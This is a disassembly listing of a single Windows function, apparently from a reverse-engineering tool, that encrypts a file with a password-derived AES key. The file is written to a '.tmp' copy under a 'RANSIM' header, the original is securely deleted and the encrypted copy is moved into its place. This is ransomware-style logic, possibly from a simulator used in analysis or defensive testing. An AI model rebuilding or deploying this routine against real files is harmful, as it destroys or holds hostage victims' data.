Function at 0x1400018bc
Capabilities:
Check if file exists
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Generate random numbers via winapi
Get file attributes
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
mov eax, 0x11f8
call fcn.140002f90
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1190], rcx
mov qword [rbp + 0x1198], rdx
cmp qword [rbp + 0x1190], 0
je 0x1400018f5
cmp qword [rbp + 0x1198], 0
jne 0x1400018ff
mov eax, 0
jmp 0x140001d25
mov rcx, qword [rbp + 0x1190]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x1160], eax
cmp dword [rbp + 0x1160], 0xffffffff
je 0x14000192b
mov eax, dword [rbp + 0x1160]
and eax, 0x10
test eax, eax
je 0x140001935
mov eax, 0
jmp 0x140001d25
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x1190]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1158], rax
cmp qword [rbp + 0x1158], 0xffffffffffffffff
jne 0x14000198a
mov eax, 0
jmp 0x140001d25
mov qword [rbp + 0x1150], 0
mov qword [rbp + 0x1148], 0
mov qword [rbp + 0x1168], 0xffffffffffffffff
mov dword [rbp + 0x1164], 0
lea rax, [rbp + 0x1150]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
call rax
test eax, eax
je 0x140001c3c
lea rdx, [rbp + 0xfe0]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0xfe0]
mov r8d, 8
lea rdx, str.RANSIM
mov rcx, rax
call sym.strncpy
mov rax, qword [rbp + 0x1150]
lea rdx, [rbp + 0xfe0]
add rdx, 0x18
mov r8, rdx
mov edx, 0x20
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
call rax
test eax, eax
je 0x140001c3f
mov rax, qword [rbp + 0x1150]
lea rdx, [rbp + 0xfe0]
add rdx, 8
mov r8, rdx
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
call rax
test eax, eax
je 0x140001c3f
mov rax, qword [rbp + 0x1150]
lea rcx, [rbp + 0x1148]
lea rdx, [rbp + 0xfe0]
lea r8, [rdx + 0x18]
mov rdx, qword [rbp + 0x1198]
mov r9, rcx
mov rcx, rax
call sym.derive_key
test eax, eax
je 0x140001c42
lea rax, [rbp + 0x1040]
mov r9, qword [rbp + 0x1190]
lea r8, str._s.tmp
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x1040]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1168], rax
cmp qword [rbp + 0x1168], 0xffffffffffffffff
je 0x140001c45
lea rcx, [rbp + 0xfdc]
lea rdx, [rbp + 0xfe0]
mov rax, qword [rbp + 0x1168]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x5c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
je 0x140001c48
jmp 0x140001bf4
mov eax, dword [rbp - 0x34]
mov dword [rbp - 0x38], eax
mov eax, dword [rbp - 0x34]
cmp eax, 0xfff
setbe al
movzx ecx, al
mov rax, qword [rbp + 0x1148]
mov dword [rsp + 0x30], 0x1000
lea rdx, [rbp - 0x38]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, ecx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call rax
test eax, eax
je 0x140001c4b
mov ecx, dword [rbp - 0x38]
lea r8, [rbp + 0xfdc]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x1168]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
je 0x140001c4e
lea rcx, [rbp - 0x34]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x1158]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x140001c30
mov eax, dword [rbp - 0x34]
test eax, eax
jne 0x140001b69
mov dword [rbp + 0x1164], 1
jmp 0x140001c4f
nop
jmp 0x140001c4f
nop
jmp 0x140001c4f
nop
jmp 0x140001c4f
nop
jmp 0x140001c4f
nop
jmp 0x140001c4f
nop
jmp 0x140001c4f
nop
mov rax, qword [rbp + 0x1148]
test rax, rax
je 0x140001c6e
mov rax, qword [rbp + 0x1148]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp + 0x1150]
test rax, rax
je 0x140001c92
mov rax, qword [rbp + 0x1150]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
cmp qword [rbp + 0x1158], 0xffffffffffffffff
je 0x140001caf
mov rax, qword [rbp + 0x1158]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp + 0x1168], 0xffffffffffffffff
je 0x140001ccc
mov rax, qword [rbp + 0x1168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x1164], 0
je 0x140001d10
mov rcx, qword [rbp + 0x1190]
call sym.secure_delete_file
lea rax, [rbp + 0x1040]
mov rdx, qword [rbp + 0x1190]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
mov rdx, qword [rbp + 0x1190]
lea rcx, str.Encrypted
call sym.log_operation
jmp 0x140001d1f
lea rax, [rbp + 0x1040]
mov rcx, rax
call sym.secure_delete_file
mov eax, dword [rbp + 0x1164]
add rsp, 0x11f8
pop rdi
pop rbp
ret